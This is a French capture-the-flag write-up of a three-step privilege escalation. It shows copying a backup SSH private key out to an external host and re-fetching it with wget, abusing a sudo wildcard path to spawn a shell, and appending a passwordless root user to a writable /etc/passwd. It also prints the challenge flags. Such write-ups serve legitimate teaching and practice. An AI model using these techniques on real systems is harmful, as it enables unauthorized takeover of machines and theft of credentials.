Highway To Heaven

Auteur: bWlrYQ

1. Privesc downtohell -> bwlryq

Notre utilisateur avec lequel nous venons d'obtenir un shell est très peu privilégié, il faut essayer de s'élever afin de pouvoir prendre le contrôle de la machine. A la racine du système de fichiers on peut remarquer un dossier /bak, ce qui n'est pas courant. Son contenu est le suivant:

```
downtohell@496fe4171bcf:~$ cd /bak
downtohell@496fe4171bcf:/bak$ ls -la
total 16
drwxr-xr-x 1 bwlryq flagmalo 4096 Oct 28 22:51 .
drwxr-xr-x 1 root     root     4096 Oct 29 23:18 ..
-rw-r--r-- 1 bwlryq flagmalo 2609 Oct 28 22:49 id_rsa.bak
-rw-r--r-- 1 bwlryq flagmalo  570 Oct 28 22:49 id_rsa.pub.bak
```

C'est un couple de clées (publique et privée) pour SSH. Nous pouvons sûrement les utiliser pour nous connecter au compte de l'utilisateur bwlryq. Il n'y a pas de service ssh (serveur) sur cette machine. En revanche la clé publique indique `bwlryq@10.6.0.3`, notre machine est en `10.6.0.2`, c'est donc une autre machine sur le réseau à laquelle on peut tenter de se connecter.

Pour éviter une erreur de format, on va copier la clé et la retélécharger depuis une source externe.

```
downtohell@496fe4171bcf:/tmp/ssh_privesc$ wget http://bwlryq.net:5555/id_rsa
--2022-10-30 00:50:38--  http://bwlryq.net:5555/id_rsa
Resolving bwlryq.net (bwlryq.net)... 51.75.247.236
Connecting to bwlryq.net (bwlryq.net)|51.75.247.236|:5555... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2610 (2.5K) [application/octet-stream]
Saving to: ‘id_rsa’

id_rsa                      100%[=============================================>]
2.55K  --.-KB/s    in 0.002s

2022-10-30 00:50:38 (1.26 MB/s) - ‘id_rsa’ saved [2610/2610]

downtohell@496fe4171bcf:/tmp/ssh_privesc$ ls
id_rsa
downtohell@496fe4171bcf:/tmp/ssh_privesc$ chmod 600 id_rsa
downtohell@496fe4171bcf:/tmp/ssh_privesc$ ssh -i id_rsa bwlryq@10.6.0.3
```

Connexion fonctionnelle, nous sommes connecté à l'autre machine en tant qu'utilisateur bwlryq.

2. Privesc bwlryq -> maxence

Il faut désormais élever ses privilèges au stade maxence. Nous sommes membre des groupes flagmalo, bwlryq et restricted_sudo. Ce dernier groupe peut-être intéressant, avec `sudo -l` nous allons lister les privilèges autorisés avec sudo.

```
$ sudo -l
User bwlryq may run the following commands on d729bbf1cd40:
    (maxence) NOPASSWD: /usr/bin/python3 /home/maxence/scripts/*
```

Nous avons la possibilité d'exécuter tous les scripts présents dans le dossier /home/maxence/scripts/ avec les droits de maxence. Ici il y a usage d'un wildcard, ce qui signifie que l'on peut spécifier le chemin de notre choix. Même si nous n'avons pas les droits d'écriture dans ce répertoire, nous allons pouvoir écrire le chemin que l'on souhaite grâce au wildcard.

```
$ mkdir /tmp/exp
$ cd /tmp/exp
$ echo "import os" > exp.py
$ echo "os.system('/bin/bash')" >> exp.py
$ cat exp.py
import os
os.system('/bin/bash')
$ sudo -u maxence /usr/bin/python3
/home/maxence/scripts/../../../../tmp/exp/exp.py
maxence@d729bbf1cd40:/tmp/exp$ whoami
maxence
maxence@d729bbf1cd40:/tmp/exp$
```

Nouvs voici désormais avec les privilèges de maxence. Nous pouvons regarder notre flag (et celui de bwlryq au passage)

```
maxence@d729bbf1cd40:~$ cat flag.txt
FMCTF{ReLaTive_P@ths_W1th_SuD0_iS_B4d}
maxence@d729bbf1cd40:~$ cat ../bwlryq/flag.txt
FMCTF{B4ckUp_F1leS_On_Host=n00b}
```

3. Privesc maxence -> root

En continuant d'énumérer la machine, on regarde que le fichier /etc/passwd est en écriture non pas pour root:root, mais pour root:flagmalo_admins. L'utilisateur maxence est membre ce groupe, on va donc pouvoir manipuler le fichier dans le but d'élever nos permissions en tant qu root.

```
echo "mika::0:0::/root:/bin/bash" >> /etc/passwd
maxence@d729bbf1cd40:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
[.....SNIPPED..........]
mika::0:0::/root:/bin/bash
```

```
maxence@d729bbf1cd40:~$ su - mika
root@d729bbf1cd40:~# whoami
root
root@d729bbf1cd40:~# ls -la
total 20
drwx------ 1 root root 4096 Oct 28 22:54 .
drwxr-xr-x 1 root root 4096 Oct 29 23:18 ..
-rw-r--r-- 1 root root  571 Apr 10  2021 .bashrc
-rw-r--r-- 1 root root  161 Jul  9  2019 .profile
-rw-r--r-- 1 root root   29 Oct 28 22:49 flag.txt
root@d729bbf1cd40:~# cat flag.txt
MCTF{W3ll_D0n3_YoU_R00t3d_US}
```

Et voilà, la série de l'enfer est achevée ! Bienvenue au paradis...